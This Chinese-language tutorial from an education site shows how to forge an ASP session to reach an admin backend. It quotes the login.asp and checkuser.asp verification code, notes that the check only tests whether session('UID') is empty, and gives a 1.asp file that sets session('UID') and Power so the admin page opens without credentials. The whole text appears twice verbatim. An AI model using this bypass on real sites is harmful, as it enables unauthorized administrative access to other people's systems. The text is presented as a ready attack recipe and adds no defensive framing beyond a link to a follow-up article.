伪造Session登陆后台～
login.asp的验证代码
<% dim user_name,user_password,upwr,uID,ukey,cmd,rs
user_name=trim(request.form("uid"))
user_password=trim(request.form("pwd"))
user_password=jk_md5(user_password,"long")
if user_name="" or user_password="" then
close_conn
response.redirect "../global/systeminfo.asp?flag=1"
end if
如果用户和密码为空就返回global/systeminfo.asp?flag=1 这个页面提示"错误帐号或密码，请重新登陆"
在往下看代码
session("UID")=rs("UserName")
session("power")=rs("Power")
Session("PSW")=rs("PSW")
rs.close:set rs=Nothing
set cmd=Nothing
close_conn
response.redirect("../system/default.asp")
如果UID,,power.PSW不为空就返回system/default.asp登陆成功
checkuser.asp代码为
<%
if session("UID")="" then
response.redirect "../gobal/systeminfo.asp?flag=1"
response.end
end if
%>
session("UID")为空同样返回gobal/systeminfo.asp?flag=1
那也就是说只要UID参数不为空就登陆成功
然后把以下代码保存为1.asp
<%
session("UID")="1"
Session("Power")="1"
%>
先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面
<% dim user_name,user_password,upwr,uID,ukey,cmd,rs
user_name=trim(request.form("uid"))
user_password=trim(request.form("pwd"))
user_password=jk_md5(user_password,"long")
if user_name="" or user_password="" then
close_conn
response.redirect "../global/systeminfo.asp?flag=1"
end if
如果用户和密码为空就返回global/systeminfo.asp?flag=1 这个页面提示"错误帐号或密码，请重新登陆"
在往下看代码
session("UID")=rs("UserName")
session("power")=rs("Power")
Session("PSW")=rs("PSW")
rs.close:set rs=Nothing
set cmd=Nothing
close_conn
response.redirect("../system/default.asp")
如果UID,,power.PSW不为空就返回system/default.asp登陆成功
checkuser.asp代码为
<%
if session("UID")="" then
response.redirect "../gobal/systeminfo.asp?flag=1"
response.end
end if
%>
session("UID")为空同样返回gobal/systeminfo.asp?flag=1
那也就是说只要UID参数不为空就登陆成功
然后把以下代码保存为1.asp
<%
session("UID")="1"
Session("Power")="1"
%>
先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面
声明：该文观点仅代表作者本人，牛骨文系教育信息发布平台，牛骨文仅提供信息存储空间服务。
- 上一篇： HTML5 学习总结（三）——本地存储
- 下一篇： 如何防止Session伪造攻击
